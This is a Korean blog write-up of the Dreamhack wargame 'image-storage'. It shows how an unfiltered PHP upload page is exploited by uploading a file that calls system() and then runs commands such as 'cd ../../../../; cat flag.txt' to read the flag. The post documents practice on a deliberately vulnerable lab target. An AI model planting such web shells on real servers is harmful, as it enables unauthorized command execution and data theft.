본문 바로가기
드림핵

드림핵 image-storage 풀이

by jwcs 2023. 2. 9.
728x90

https://dreamhack.io/wargame/challenges/38/

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

파일 업로드 취약점을 공략하는 문제이다.

 

문제 첫 화면이다. 바로 업로드 페이지로 가보자

 

업로드 페이지다. 어떤 식으로 굴러갈지 코드를 뜯어보자

upload페이지의 php부분

html 부분은 생략했다. php 부분만 뜯어 보자면 './uploads/' 경로에 내가 올리는 파일이 업로드 되는 것을 알 수 있다.

아무런 필터링이 없는 것을 보니 php 명령어로 내부를 뜯어볼 수 있을거 같다.

시스템 명령어로 구성된 asd1.php이다. ls 명령어로 페이지의 구성 요소들을 살펴보자.

시험삼아 업로드한 asd.php와 방금 업로드한 asd1.php가 보인다. asd1.php로 들어가보자.

ls 명령어가 잘 들어간 모습이다. 이제 상위 폴더로 이동하면서 flag.txt를 찾아보자.

system("cd ../; ls")

 

system("cd ../../; ls")
system("cd ../../../; ls")
system("cd ../../../../; ls")

드디어 찾았다.

system("cd ../../../../; cat flag.txt")

 

사실 문제에서 flag.txt의 위치를 알려줬다. 그럼에도 상대경로로 찾아보는 것이 더 도움이 많이 될거같아 이렇게 해보았다.

728x90
반응형